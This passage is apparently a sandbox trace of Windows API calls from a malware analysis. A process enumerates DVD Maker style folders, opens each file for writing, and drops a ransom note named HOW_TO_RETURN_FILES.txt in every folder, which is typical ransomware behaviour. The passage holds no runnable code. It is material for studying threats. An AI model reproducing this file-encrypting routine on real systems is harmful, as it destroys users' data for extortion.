maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.929] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.929] AreFileApisANSI () returned 1 [0125.929] GetACP () returned 0x4e4 [0125.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.pnga", lpUsedDefaultChar=0x37dec0) returned 38 [0125.930] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.930] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.930] AreFileApisANSI () returned 1 [0125.930] GetACP () returned 0x4e4 [0125.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0125.930] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.930] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.930] AreFileApisANSI () returned 1 [0125.930] GetACP () returned 0x4e4 [0125.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 39 [0125.930] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.931] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.931] AreFileApisANSI () returned 1 [0125.931] GetACP () returned 0x4e4 [0125.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0125.931] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.931] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.931] AreFileApisANSI () returned 1 [0125.931] GetACP () returned 0x4e4 [0125.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0125.931] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.931] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.931] AreFileApisANSI () returned 1 [0125.931] GetACP () returned 0x4e4 [0125.931] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Panel_Mask.wmv", cchWideChar=14, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Panel_Mask.wmvelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 14 [0125.931] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.932] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.932] AreFileApisANSI () returned 1 [0125.932] GetACP () returned 0x4e4 [0125.932] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Panel_Mask_PAL.wmv", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Panel_Mask_PAL.wmvtionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 18 [0125.932] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.932] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.932] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.933] AreFileApisANSI () returned 1 [0125.933] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0125.933] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.934] GetFileType (hFile=0x130) returned 0x1 [0125.935] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.935] AreFileApisANSI () returned 1 [0125.935] GetACP () returned 0x4e4 [0125.935] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="scene_button_style_default_Thumbnail.bmp", cchWideChar=40, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="scene_button_style_default_Thumbnail.bmp", lpUsedDefaultChar=0x37df4c) returned 40 [0125.935] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\scene_button_style_default_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\scene_button_style_default_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.935] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.935] AreFileApisANSI () returned 1 [0125.935] GetACP () returned 0x4e4 [0125.935] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="shadowonlyframe_buttongraphic.png", cchWideChar=33, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="shadowonlyframe_buttongraphic.pngail.bmp", lpUsedDefaultChar=0x37df4c) returned 33 [0125.935] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.936] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.936] AreFileApisANSI () returned 1 [0125.936] GetACP () returned 0x4e4 [0125.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="shadowonlyframe_selectionsubpicture.png", cchWideChar=39, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="shadowonlyframe_selectionsubpicture.pngp", lpUsedDefaultChar=0x37df4c) returned 39 [0125.936] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.936] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.936] AreFileApisANSI () returned 1 [0125.936] GetACP () returned 0x4e4 [0125.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="shadowonlyframe_videoinset.png", cchWideChar=30, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="shadowonlyframe_videoinset.pngcture.png", lpUsedDefaultChar=0x37df4c) returned 30 [0125.936] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\shadowonlyframe_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shadowonlyframe_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.936] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.936] AreFileApisANSI () returned 1 [0125.936] GetACP () returned 0x4e4 [0125.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Shatter", cchWideChar=7, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Shatternlyframe_videoinset.png", lpUsedDefaultChar=0x37df4c) returned 7 [0125.936] AreFileApisANSI () returned 1 [0125.936] GetACP () returned 0x4e4 [0125.936] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=52, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\") returned 52 [0125.966] AreFileApisANSI () returned 1 [0125.966] GetACP () returned 0x4e4 [0125.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0125.966] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.966] AreFileApisANSI () returned 1 [0125.966] GetACP () returned 0x4e4 [0125.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0125.966] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.966] AreFileApisANSI () returned 1 [0125.966] GetACP () returned 0x4e4 [0125.966] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x37dec0) returned 17 [0125.966] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.967] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.967] AreFileApisANSI () returned 1 [0125.967] GetACP () returned 0x4e4 [0125.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x37dec0) returned 19 [0125.967] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.967] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.967] AreFileApisANSI () returned 1 [0125.967] GetACP () returned 0x4e4 [0125.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png\\", lpUsedDefaultChar=0x37dec0) returned 32 [0125.967] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.967] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.967] AreFileApisANSI () returned 1 [0125.967] GetACP () returned 0x4e4 [0125.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.pnga", lpUsedDefaultChar=0x37dec0) returned 38 [0125.967] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.968] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.968] AreFileApisANSI () returned 1 [0125.968] GetACP () returned 0x4e4 [0125.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0125.968] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.968] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.968] AreFileApisANSI () returned 1 [0125.968] GetACP () returned 0x4e4 [0125.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 39 [0125.968] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.968] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.968] AreFileApisANSI () returned 1 [0125.968] GetACP () returned 0x4e4 [0125.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0125.968] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.968] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.968] AreFileApisANSI () returned 1 [0125.968] GetACP () returned 0x4e4 [0125.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0125.968] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.969] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.969] AreFileApisANSI () returned 1 [0125.969] GetACP () returned 0x4e4 [0125.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="shatter.png", cchWideChar=11, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="shatter.pngp_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 11 [0125.969] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\shatter.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\shatter.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.969] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.969] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.970] AreFileApisANSI () returned 1 [0125.970] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0125.970] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.971] GetFileType (hFile=0x130) returned 0x1 [0125.971] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.972] AreFileApisANSI () returned 1 [0125.972] GetACP () returned 0x4e4 [0125.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SpecialOccasion", cchWideChar=15, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SpecialOccasion_videoinset.png", lpUsedDefaultChar=0x37df4c) returned 15 [0125.972] AreFileApisANSI () returned 1 [0125.972] GetACP () returned 0x4e4 [0125.972] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=60, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\꿐j獸kȡ") returned 60 [0125.974] AreFileApisANSI () returned 1 [0125.974] GetACP () returned 0x4e4 [0125.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0125.974] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.974] AreFileApisANSI () returned 1 [0125.974] GetACP () returned 0x4e4 [0125.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0125.974] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.974] AreFileApisANSI () returned 1 [0125.974] GetACP () returned 0x4e4 [0125.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.pngf47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 17 [0125.974] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.974] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.974] AreFileApisANSI () returned 1 [0125.974] GetACP () returned 0x4e4 [0125.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mainscroll.png", cchWideChar=14, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="mainscroll.pngpng", lpUsedDefaultChar=0x37dec0) returned 14 [0125.975] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\mainscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\mainscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.975] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.975] AreFileApisANSI () returned 1 [0125.975] GetACP () returned 0x4e4 [0125.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.pngRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 32 [0125.975] CreateFileA (lpFileName="C:\\Program Files\\DVD 